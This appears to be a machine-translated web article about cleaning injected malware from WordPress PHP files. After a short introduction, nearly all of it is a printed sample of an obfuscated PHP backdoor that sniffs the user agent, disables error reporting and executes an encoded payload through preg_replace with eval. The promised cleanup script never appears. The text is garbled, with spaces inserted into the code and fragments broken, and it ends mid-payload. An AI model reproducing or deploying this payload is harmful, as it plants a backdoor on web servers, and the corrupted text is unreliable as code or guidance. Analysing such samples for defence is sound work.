PHP cleans up malicious code in wordpress

This article describes how to clear malicious code in wordpress using PHP and related code and usage. If you need it, refer.

This article describes how to clear malicious code in wordpress using PHP and related code and usage. If you need it, refer.

Some wordpress websites of the company have malicious code due to the downloaded plug-in, which causes malicious code to exist in PHP files of all websites on the server. A simple script is written to clear the code.

Malicious code example

The Code is as follows:

<? Php if (! Isset ($ GLOBALS ["\ x61 \ 156 \ x75 \ 156 \ x61"]) {$ ua = strtolower ($ _ SERVER ["\ x48 \ 124 \ x54 \ 120 \ x5f \ 125 \ x53 \ 105 \ x52 \ 137 \ x41 \ 107 \ x45 \ 116 \ x54 "]); if ((! Strstr ($ ua, "\ x6d \ 163 \ x69 \ 145") and (! Strstr ($ ua, "\ x72 \ 166 \ x3a \ 61 \ x31 "))) $ GLOBALS ["\ x61 \ 156 \ x75 \ 156 \ x61"] = 1;}?> <? Php $ bssaiikhvn = '61] y33] 68] y34] 68] y33] 65] y31] 53] y6d] 281] y43] 78] y3x66 % 152% x66 % 147% x67 % 42% x2c % 163% x74 % 162% x5f % 163% page 154% x6x7860MPT7-NBFSUT % x5c % x7860LDPT7-UFOJ % x5c % x7860GB) fubfsdXA % x5c % x78!>! #] Y3d] 51] y35] 256] y76] 72] y3d] 51] y35] 274] y4:] 82] y3:] 621: |: * mmvo:>: iuhofm % x5c % x7825:-5 ppdde: 4: |: ** # ppdde #) tutjyf % 7825yy> #] D6] 281L1 # % x5c % x782f # M5] DgP5] D6 # <% x5c % x7825fdy % x5c % x7827, * B % x5c % x7827) fepdof .) fepdof. % x5c % x782f ### % x5c % x5c % x7825ggg!>! #] Y81] 273] y> #] D4] 273] D6P2L5P6] y6gP7L6M7] D4] 275] D: M8] Df # <% x5c % x7x7827jsv % x5c % x78256 ^ # Zsfvrx5c % x7827 & 6 <% x5c % x787fw6 * % x5c % x78825 )! Gj! <** 2-4-bubE {h % x5c % x7825) susucvt) esp> hmg % x5c % x7825! <12> j % x5c % x7825: |: ** t % x5c % xW ~! % X5c % x7825z!> 2 1 <% x5c % x7825j = 6 [% x5c % x7825ww2!> 5b: % X5c % x7825s: % x5cw> #] y74] 273] y76] 252] y85] 256] y6g] 257] y8! <** 3-j % x5c % x7825-bubE {h % x5c % x7825) sutsvd! -Id % x5c % x7825) uqpI, 6 <* 127-UVPFNJU, 6 <* 27-SFGTOBSUOSVUFS, x7822: ftmbg39 * 56A: >:8: |: 7 # 6ufs! | Ftmf !~ <** 9.-j % x5c % x7825-bubE {h % x5c % x7825) suttv) fubmgoj {hA! Osvuc % x7824 ! #] Y81] 273] y76] 258] y6g] 273] # * % x5c % x7824-% x5c % x7824!>! Tus % x5x782fq % x5c % x7825> 2q % x5c % x7825 <# g6R85, 67R3 #) tutjyf % x5c % x7860439275ttfsqnpdov {h19275j {hnpd19275fubmgoj {h7878X6 <# o] Y % x5c % x78257; utpI #7> % x5c % x782f7rfs % x5c % x78256 <# o] 139] 271] y83] 256] y78] 248] y83] 7825t2w) # Qtjw) #] 82 #-#! #-% X5c % x7825tmw) % x5c % x7825tww ** WYsboepn) % x5c % 27pd % x5c % x78256 ! % X5c % x7824c % x7825c!>! % X5c % x7825i % x5c % x785c2 ^ N % x5c % x7825 <#3722!>! Bssbz) % x5c % x7824] 25% x5c % x7824-% x5c % x7824 -! % X5c % x7825 % x5c % x7824-% 7825) m % x5c % x7825 = * h % x5c % x78254 % x5c % x785c % x5c % x7825j ^ % x527, * e % x5c % x7827, * d % x5c % x7827, * cmfV % x5c % x787f <* XAZASV <* w % x5c % x7825) ppvdf> u % x5c % x! * 5! % X5c % x7827! Hmg % x5c % x7825 )! Gj! |! * 1? Hmg % x5c % x7or_reporting (0); preg_replace ("% x2f % ggg) (0) % x5c % x782f + * 0f (-! #] Y76] 277] y72] 265] y76] 258] y6g] 273] y76] 271] y7d] 25% x5c % x7825hOh % x5c % x782f #00 # W ~! % X5c % xS ["% x61 % 156% x75 % 156% x61"] = 1; function f <5 h % x5c % x7825 % x5c % x782f #0 # % x58] 32M3] 317] 445] 212] 43] 445] 321] 464] 284] 6] 234] 342] 58] 24] 31 #-% x5c % x) m % x5c % x7825): fmji % x5c % x7878: <##:>: h % x5c % x7825: <157% x64 % 145% x28 % 141% x72 % 162% x61 % 171% x5f % 155% x61 % 160% x28 % 42% % x5c % x7825} U; y]} R; 2]},; osvufs }%x5c % x7827; mnui} 25Z <^ 2% x5c % x785c2b % x5c % x7825!>! 2 p % x5c2fh % x5c % x7825: <** #57] 38y] 4 tjyf % x5c % x7860opjudovg % x525bG9 }:}.}-}! # * <% X5c % x7825nfd> % x5c % x7825fdy U <#16, 47R57, 27R66, # % x5c % * # ujojRk3 % x5c % x7860 {666 ~ 6 <& w6 <% x5c % x787fw6 * CW &) 7gj6 <. [A % &; zepc} ;~!} % X5c % x787f ;! | !} {;) Gj} l; 33bq} k; opjudovg} % x5c % x7878; 0] =]) % x5c % x7825 <#762] 67y] 562] 38y] 572] 48y] #> m % x5c % x5c % x7825! <*** F % x5c % x78 % x7825w6Z6 <. 5% x5c % x7860hA % x5c % x7827pd % x5c % x78256 Qp % x5c % x7825! | Z ~! <##!>! 2 p % x5c % x7825! |! *! * ** B % x5 # P #-# Q #-# B #-# T #-# E #-# G #-# x787fw6 * % x5c % x787f _*# fmjgk4 % x5 * WCw *[! % X5c % x7825rN} # QwTW % xc % x7825 % x5c % x7824-% x5c % x7824b!>! % X5c % x7825yy) #}# 50% x2e % 52% x29 % 57% x65 "," % x65 % 166% x61 % 154% x28 % 151% x6d % 160% x6c % 25) + opjudovg + )! Gj + {e % x5c % x7825! Osvufs! *! + A!>! {E % x5c % 7827pd % x5c % x78256 B % x5c % x7825! * ##>> X )! GjZ <# opo #> B % x5c % x7825! ** X) ufttj % x7825c:> 1 <% x5c % x7825b:> 1 % X5c % x782272qj % x5c % x7825) 7gj6 <** 2qj %> !} _; Gvc % x5c % x7825} &; ftmbg} % x5c % x787f ;! Osvufs} w; * % x5c % x787f!> X7825! <*: :::::-111112) eobs % x5c % x7861L3] 84] y31M6] y3e] 81 # % x5c % x782f # SFT % x5c % x7860 % x5c % x7825} X ;! Sp! * # Opo # >>} R; msv}.; % x5c % x782f # % xc % x78b % x5c % x7825w:!>! % X5c % x78246767 ~ 6 > % X5c % |! * BubE {h % x5c % x7825) j {hnpd! Opjudovg! |! ** # J {hnpd #) tujQeTQcOc % x5c % x782f #00 # W ~! Ydrr) % x5c % x7825r % x5c % x78 ! 2 p % x5c % x78uft % x5c % x7860msvd},; uqpuft % x5c % x7860msvd} +;!> !} % X5c % x7827;!> 6 | 7 ** 111087-k) ebfsX % x5c % x7827u % x5c % x7825) 7 fmji % x5c % x7860ufldpt} X; % x5c % x78 # % x5c % x785cq % x5c % x78257 ** ^ # zsfvr # % x5c % x785cq % x5c % x7825) uftc % x7825tpz!>! #] D6M7] K3 # <% x5c % xbbT-% x5c % x7825bT-% x5c % x7825hW ~ % X5c % x782) dfyfR % x5c % x7827tfs % x5c % x78256 <* 17-SFEBFx5c % x78604 % x5c % x78223 }! +! <+ {E % x5c % x7825 + *! * + Fepdfe {h + {d % x5c % x784l} % x5c % x7827; % x5c % x7825! <* #}_; #) 323 ldfid >}>! % X5c % x7825tdz) % x5c % x7825ofmy % x5c % x7825, 3, j % x5c % x7825> j % x5c % x782560msvd} R; * msv % x5c % x7825 )}.; % x5c % x7860UQP78W ~! Ypp2) % x5c % x7825zB % x5c % x7825z>! Tussfw) % x5c % x7825zW % x55c % x787fw6 <* K) ftpmdXA6 | 7 ** 197-# jt0} Z; 0] =] 0 #) 2q % x5c % x7825l} S; 2-u % x5c % x78po )##-! #~ <# % X5c % x782f % x5c % x7825c % x7824-% x5c % x7824tvctus) % x5x7825)!> % X5c % x7822! Ftmbg )! Gj] 58y] 472] 37y] 672] 48y] #> s % x5c % x7825 <#462] 47y] 252] 18y] #> q5c % x7825 )! Gj! <2, * j % x5c % x7825-#1] #-bubE {h % x5x7860opjudovg )! Gj! |! * Msv % x5c % x7825)} k ~~~ 2bd % x5c % x7825! 2qj % x5c % x78257-K) udfoopdXA % x54 ! #] Y76] 277] y72] 265] y39] 274] y85] 273] y66 <. 4% x5c % x7860hA % x5c % x7827pd % x5c % x78256860TW ~ % X5c % x7824 <% x5c % x78e % x5c % x78b % x5c % x 7825mm) % x5c % x7825 % x5c % x7878: q % x5c % x78257 % x5c % x782f7 ### 7% x5c % x782f7 ^ # iubq # % x5cx5c % x7824 * 1 <% x5c % x7825j = tj % x7825! * 3>? * 2b % x5c % x7825) gpf {jt )! Gj! <* 2bd % x5c % x7825-# 1GO % x5c1 % x72 % 164 ")&&(! Isset ($ GLOBALS ["% x61 % 156% x75 % 156% x61"]) {$ GLOBAL7825 % x5c % x782fh % x5c % x7825) n % x5c % x7825-# + I #) q % x5c % x7825: >:r7e: 55946-tr.984: 75983: 48984: 71] K9] 77] D4] 82] K6] 72] K9] 78] K5] 53] Kc # <% X5 G !) % X5c % x7825z> 2 *! % X5c % x7825z> 3 J % x5c % x7825! * 72! % X5c % x7827! Hmg % x-t.98] K4] 65] D8] 86] y31] 278] y3f] 5c % x7860sfqmbdf) % x5c % x7825 % x5c % x7824-% x5c % x7 % x5c % x7822) gj! |! * Nbsbq % x5c % x7825) 323 ldfidk !~! <** Qp % x5c % x3] 65] y31] 55] y85] 82] y76] 62] y3:] 84 #-! OVMM * <% x22 % 51% x29 % 51% x29 % 73 "66 ~ 67 <& w6 <* & 7-# o] s] o] #) fepmqyf % x5c % x7827 * & 7-n % x5c % x7825) utjm6x7824 <% x5c % x7825j ,,*! | % X5c % x7824c % x7822) 7gj6 <* QDU % x5c % x785c % x5c % x7825j: ^ ! #] Y84] 275] y83] 248] y83] 256c % x7825V % x5c % x7827 {ftmfV % x5c % x787f <* X & Z & S {ftc % x78273qj % x5c % x78256 <* Y % x5c % x7825) fnbozcYufhA % x5c % x78272qj % x5 <% x5c % x787fw6 * CW &) 7gj6 <* K) ftpmdXA6 ~ 6 % X5c % x782f7 & % x7825: |: * r % x5c % x7825:-t % x5c % x7825) 3of: opjud7825! -Uyfu % x5c % x7825) 3of) fepdof % x5c % x786057ftbc % x5c % x787f! |! * Uyfu % x5c % x5c % x7825) hopm3qjA) qj3366ma % x578Bsfuvso! Sboepn) % x5c % x7825epnbss-% x5c % x7825r % x5c % x78782fqp % x5c % x7825> 5 h % x5c % 4-% x5c % x7824y7 % x5c % x7824-% <* # k #) usbut % x5c % x7860cpp] 273] y76] 271] y7d] 252] y74] 256] 7f _ * #[k2% x5c % x7860 {6 :!} 7 ;!} 6; ##} C;! >> !} W; utpi} Y; tuofuopd % x5c % x7tsbqA7> q % x5c % x78256 <% x5c % signature * % x5c % x787f _ * # fubfsdXk5 % x5c % signature % x5c % x7860fmjg }[; ldpt % x5c % x7825} K; % x5c % xx5c % x7825r % x5c % x7878 <~!! % X5c % x7825s: N }#-% x5c % x7825o: W % x5c: osvufs :~ : <* 9-1-r % x5c % x7825) s % x5c % x7825> % x5c % x7897e: 56-% x5c % x7878r. 985: 52985c % x7825kj :-! OVMM * <(<% x5c % x78e % x5c % x78b % x427] 36] 373P6] 36] 73] 83] 238M7] 381] 211M5] 67] 452] 88] 5] 47825 V <#65, 47R25, d7R17, 67R37, # % x5c % x782fq % x5c % xPI % x5c % x7860QUUI & e_SEEB % x5c % x7860FUPNFS & d_sfgfs % x5c % x780 #) U! % X5c % x7827 {*** u % x5c % x7825-fd) # Qtpz) #] 341] 88M4P8825tdz> # L4] 275L3] 248L3P6L1M5] D2P4] D6 # <% x5c % x7825G] y6d] 2